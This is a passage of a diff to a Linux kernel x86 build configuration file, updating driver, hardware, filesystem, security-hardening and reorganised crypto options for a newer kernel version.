CONFIG_NET_VENDOR_STMICRO is not set @@ -1245,6 +1341,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +CONFIG_NET_VENDOR_VERTEXCOM=y # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1252,6 +1349,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1303,26 +1401,29 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_USB_VL600 is not set # CONFIG_USB_NET_CH9200 is not set # CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1359,6 +1460,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y # CONFIG_MOUSE_PS2_ALPS is not set @@ -1436,6 +1538,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +CONFIG_SERIAL_8250_PERICOM=y # # Non-8250 serial port support @@ -1459,7 +1562,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1476,9 +1578,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1486,6 +1586,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1497,10 +1599,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1567,6 +1669,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1575,6 +1679,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1596,6 +1701,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1609,12 +1715,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1622,10 +1730,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1645,6 +1757,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1655,6 +1768,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1701,19 +1817,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1727,7 +1845,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1739,21 +1856,28 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1846,6 +1970,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1871,7 +1996,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1898,6 +2022,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1906,9 +2032,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1921,11 +2049,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1935,6 +2067,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -1963,7 +2096,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -1971,6 +2104,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2057,7 +2196,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2134,6 +2273,7 @@ CONFIG_MMC_CQHCI=m # CONFIG_MMC_HSQ is not set # CONFIG_MMC_TOSHIBA_PCI is not set # CONFIG_MMC_MTK is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2202,6 +2342,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2230,6 +2371,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2237,8 +2379,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2255,13 +2399,17 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +CONFIG_SURFACE_PLATFORMS=y +# CONFIG_SURFACE_3_POWER_OPREGION is not set +# CONFIG_SURFACE_GPE is not set +# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_X86_PLATFORM_DEVICES is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2270,6 +2418,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2293,7 +2442,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2327,11 +2480,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2342,11 +2490,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2357,7 +2515,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2366,7 +2523,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2382,7 +2538,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2402,16 +2565,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2421,11 +2584,12 @@ CONFIG_NVMEM=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2451,10 +2615,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2493,6 +2655,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2508,6 +2671,7 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set CONFIG_EFIVAR_FS=m @@ -2580,12 +2744,9 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set # CONFIG_SECURITYFS is not set -# CONFIG_PAGE_TABLE_ISOLATION is not set CONFIG_INTEL_TXT=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2600,9 +2761,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2635,7 +2804,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2643,114 +2812,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -CONFIG_CRYPTO_AES=y -# CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2761,13 +2906,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2775,19 +2926,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# 